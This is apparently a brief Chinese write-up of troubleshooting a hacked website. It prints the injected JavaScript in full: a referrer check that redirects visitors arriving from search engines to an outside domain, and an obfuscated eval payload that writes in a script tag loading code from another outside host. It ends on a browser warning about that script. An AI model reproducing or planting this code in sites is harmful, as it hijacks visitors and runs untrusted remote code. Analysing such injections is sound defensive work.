记一次站点被挂马问题排查

   
(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");

   eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))

   A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write